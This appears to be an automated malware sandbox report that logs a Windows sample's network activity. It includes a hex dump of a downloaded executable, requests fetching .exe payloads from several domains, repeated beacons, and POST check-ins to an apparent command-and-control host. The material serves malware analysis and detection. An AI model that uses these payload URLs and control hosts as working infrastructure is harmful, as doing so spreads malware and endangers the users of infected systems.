HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.14.0 (Ubuntu)Date: Wed, 31 Aug 2022 12:28:33 GMTContent-Type: application/octet-streamContent-Length: 3923456Last-Modified: Wed, 31 Aug 2022 02:16:22 GMTConnection: keep-aliveETag: "630ec476-3bde00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 08 00 60 c4 0e 63 00 00 00 00 00 00 00 00 f0 00 23 00 0b 02 0e 1d 00 b6 0d 00 00 98 04 00 00 00 00 00 ae 2b 4d 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 69 00 00 04 00 00 00 00 00 00 02 00 20 80 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 20 9e 4f 00 a0 00 00 00 00 50 69 00 d5 01 00 00 c0 be 68 00 20 88 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 3d 53 00 30 00 00 00 80 bd 68 00 38 01 00 00 00 00 00 00 00 00 00 00 00 70 37 00 d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d0 b4 0d 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 f4 55 03 00 00 d0 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 94 96 00 00 00 30 11 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 d0 83 00 00 00 d0 11 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 5f 52 44 41 54 41 00 00 f4 00 00 00 00 60 12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 76 6d 70 30 00 00 00 23 f6 1a 00 00 70 12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 2e 76 6d 70 31 00 00 00 e0 d6 3b 00 00 70 2d 00 00 d8 3b 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 68 2e 72 73 72 63 00 00 00 d5 01 00 00 00 50 69 00 00 02 00 00 00 dc 3b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /gamexyz/31/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: i.xyzgamei.com
Source: global traffic	HTTP traffic detected: GET /gamexyz/31/dd428b313f4ff686a4a5b5cd7dc34a50.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: b.game2723.com
Source: global traffic	HTTP traffic detected: GET /upload/index.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: amrhomedecor.com
Source: global traffic	HTTP traffic detected: GET /upload/index.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: www.amrhomedecor.com
Source: global traffic	HTTP traffic detected: GET /608d2d360fdf2ef9b5e53e7761a71eb3.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: trustnero.com
Source: global traffic	HTTP traffic detected: GET /48fccb3e0de4acd2e01df251682513fe/608d2d360fdf2ef9b5e53e7761a71eb3.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: fakermet.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /logo.png HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://txmbkk.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 154Host: linislominyt11.at
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://idhkmbecx.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 321Host: linislominyt11.at
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kbpkwp.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 301Host: linislominyt11.at
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rgsasmcll.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 192Host: linislominyt11.at
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fpiygfd.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 195Host: linislominyt11.at
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://baldtc.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 251Host: linislominyt11.at
Source: global traffic	HTTP traffic detected: GET /hp8/g1/rtst1051.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: stylesheet.faseaegasdfase.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ihrksjf.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 164Host: linislominyt11.at
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Host: ip-api.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wyort.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 120Host: linislominyt11.at
Source: global traffic	HTTP traffic detected: GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Host: www.hhiuew33.com
Source: global traffic	HTTP traffic detected: POST /check/?sid=2250221&key=e7624e478d30bafa822680537a86875f HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Content-Length: 508Host: www.hhiuew33.com
Source: global traffic	HTTP traffic detected: GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Host: www.hhiuew33.com
Source: global traffic	HTTP traffic detected: POST /check/?sid=2250263&key=adf8e58a65af6898b62025385f52bfe3 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Content-Length: 508Host: www.hhiuew33.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://savaqvdnf.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 231Host: linislominyt11.at
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://yauem.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 112Host: linislominyt11.at
Source: global traffic	HTTP traffic detected: GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Host: www.hhiuew33.com
Source: global traffic	HTTP traffic detected: POST /check/?sid=2250365&key=11f4ba0476b4eb9162bd33f48be5265d HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Content-Length: 508Host: www.hhiuew33.com
Source: global traffic	HTTP traffic detected: GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Host: www.hhiuew33.com
Source: global traffic	HTTP traffic detected: POST /check/?sid=2250431&key=33503c8cc65134cf05c8fddbe6ef557f HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Content-Length: 508Host: www.hhiuew33.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ecoxfog.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 177Host: linislominyt11.at
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wbvrlh.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 327Host: linislominyt11.at
Source: global traffic	HTTP traffic detected: GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Host: www.hhiuew33.com
Source: global traffic	HTTP traffic detected: POST /check/?sid=2250785&key=8de818f09839fce5ea37b654046f3df9 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Content-Length: 508Host: www.hhiuew33.com
Source: global traffic	HTTP traffic detected: GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Host: www.hhiuew33.com
Source: global traffic	HTTP traffic detected: POST /check/?sid=2250955&key=cc526d757b8b09cd7255d9d9296cfd5c HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Content-Length: 508Host: www.hhiuew33.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bffvmt.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 308Host: linislominyt11.at
Source: global traffic	HTTP traffic detected: GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Host: www.hhiuew33.com
Source: global traffic	HTTP traffic detected: POST /check/?sid=2251105&key=29e19bb8301861d213a65ed61bf4d1b6 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Content-Length: 508Host: www.hhiuew33.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kybocij.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 155Host: linislominyt11.at
Source: global traffic	HTTP traffic detected: GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Host: www.hhiuew33.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lfvfjrqay.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 126Host: linislominyt11.at
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xvhcssv.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 222Host: linislominyt11.at
Source: global traffic	HTTP traffic detected: POST /check/?sid=2251403&key=8e2d61f4841dacf51fa24992b8b77e1c HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Content-Length: 508Host: www.hhiuew33.com

Source: Joe Sandbox View

ASN Name: ENZUINC-US ENZUINC-US

Source: Joe Sandbox View	IP Address: 85.209.157.230 85.209.157.230
Source: Joe Sandbox View	IP Address: 85.209.157.230 85.209.157.230

Source: unknown

Network traffic detected: IP country count 11

Source: 56E6.exe, 0000001C.00000003.560355597.00000000036C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://devlog.gregarius.net/docs/ua)Links
Source: D7DE.exe, 0000000E.00000002.499664935.00000000026C0000.00000040.00001000.00020000.00000000.sdmp, D7DE.exe, 0000000F.00000000.485250320.0000000000400000.00000040.00000400.00020000.00000000.sdmp, D7DE.exe, 0000000F.00000002.500446767.0000000000400000.00000040.00000400.00020000.00000000.sdmp, D7DE.exe, 0000000F.00000000.484149118.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error
Source: 56E6.exe, 0000001C.00000003.560355597.00000000036C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://invalidlog.txtlookup
